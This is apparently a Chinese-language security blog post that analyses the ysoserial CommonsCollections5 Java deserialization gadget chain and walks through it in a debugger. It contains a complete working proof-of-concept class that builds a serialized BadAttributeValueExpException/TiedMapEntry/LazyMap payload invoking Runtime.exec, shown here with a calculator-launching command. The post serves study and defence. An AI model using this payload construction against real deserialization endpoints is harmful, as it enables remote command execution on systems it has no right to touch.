Loading

Ysoserial Commons Collections5分析

Ysoserial Commons Collections5分析

写在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(实测8u181也可)

参考yso项目给CC5链的注释

This only works in JDK 8u76 and WITHOUT a security manager

同时需要关闭security manager,关于这个可以参照官网

A security manager is an object that defines a security policy for an application. This policy specifies actions that are unsafe or sensitive. Any actions not allowed by the security policy cause a SecurityException to be thrown. An application can also query its security manager to discover which actions are allowed.

当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

个人理解:首先这个 security manager 也是个对象,通过System.getSecurityManager()可以拿到当前的 security manager ,如果该方法返回null,则当前 security manager 为关闭状态。

Gadget Chain

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

前置知识

BadAttributeValueExpException

Thrown when an invalid MBean attribute is passed to a query constructing method.  This exception is used internally by JMX during the evaluation of a query.  User code does not usually

在查询构造方法时传入了一个无效的MBean会抛出此异常

注意该类的2个方法:有参构造、readObejct

有参构造

主要是对属性val做处理,如果传入的对象为null则给属性val赋值为null;否则调用toString()将返回值赋值给val

public BadAttributeValueExpException (Object val) {
  this.val = val == null ? null : val.toString();
}

readObject()

在if else中对是否开启security manager做了判断,如果关闭了(System.getSecurityManager()=null)则调用上面获取到的valObj的toString方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  ObjectInputStream.GetField gf = ois.readFields();
  Object valObj = gf.get("val", null);

  if (valObj == null) {
    val = null;
  } else if (valObj instanceof String) {
    val= valObj;
  } else if (System.getSecurityManager() == null
             || valObj instanceof Long
             || valObj instanceof Integer
             || valObj instanceof Float
             || valObj instanceof Double
             || valObj instanceof Byte
             || valObj instanceof Short
             || valObj instanceof Boolean) {
    val = valObj.toString();
  } else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  }
}

TiedMapEntry

getValue()

该方法会调用该类中map属性的get()方法;也就是后续poc中利用此处来进入LazyMap.get()

调用其有参构造方法时,可以对map属性进行赋值

PoC分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open -a Calculator"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前面部分与CC1一致就不再详细展开了,从new TiedMapEntry开始。

参照TiedMapEntry类的有参构造方法,new的时候会给this.map赋值map;this.key赋值123。问题1:为什么这样构造?

之后new了一个BadAttributeValueExpException对象,调用的有参构造且让val为1。问题2:为什么需要给val一个值?

反射获取BadAttributeValueExpException.val并将tiedmap赋值给val带入到上面生成的BadAttributeValueExpException对象poc

问题3:为什么要通过反射进行对val的赋值?前面也看了BadAttributeValueExpException类中的有参构造方法,当传入的参数不为null时会触发toString()放法导致在本地就会RCE一次。

TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

调试分析

在BadAttributeValueExpException#readObject下断点,debug

这里注意过了Object valObj = gf.get("val", null);这行代码后就会触发RCE,这里参考了李三师傅文章的解释(个人感觉李三师傅的配图标注可能有笔误,个人总感觉是gf.get触发的,李三师傅图中的是if那里)

大致意思是在打印valObj这个变量时会触发toString方法进而RCE了。(所以在调试的时候,在调试到最后之前应该会触发两次RCE 😄)

该重写的readObject方法中,在前两行代码卡了比较久,首先这里是先通过readFields()方法拿到了序列化对象的属性,再通过get()方法拿到该属性的属性值。也就是在poc中通过反射获取了BadAttributeValueExpException.val属性,并赋值了一个TiedMapEntry的对象tiedmap,这里拿到的就是tiedmap,这里也可以参考着看Variables。

后续则是对改值进行了判断,最终走入第二个else if中调用了TiedMapEntry#toString()方法

跟进getValue()

之后进入了我们熟悉的LazyMap.get()

在51行初下断点,F9进入ChainedTransformer#transform方法

后续就是CC1中的知识点了,循环4次

第一次走ConstantTransformer#transform方法拿到Runtime的class对象,作为参数传入第二次循环

第二次走InvokerTransformer#transform方法反射拿到getRuntime方法,作为参数传入第三次循环

第三次走InvokerTransformer#transform方法反射调用invoke执行getRuntime方法获得Runtime的实例化对象,作为参数传入第四次循环

第四次走InvokerTransformer#transform方法反射调用exec参数为弹计算器的命令实现命令执行


End

总的来说与CC1对比的话,入口点部分被替换为了BadAttributeValueExpException.readObject()并通过构造poc进入else if中调用TiedMapEntry.toString()进而走到LazyMap.get()后续套用CC1部分即可。

posted @ 2021-10-16 00:02  Zh1z3ven  阅读(120)  评论(0编辑  收藏  举报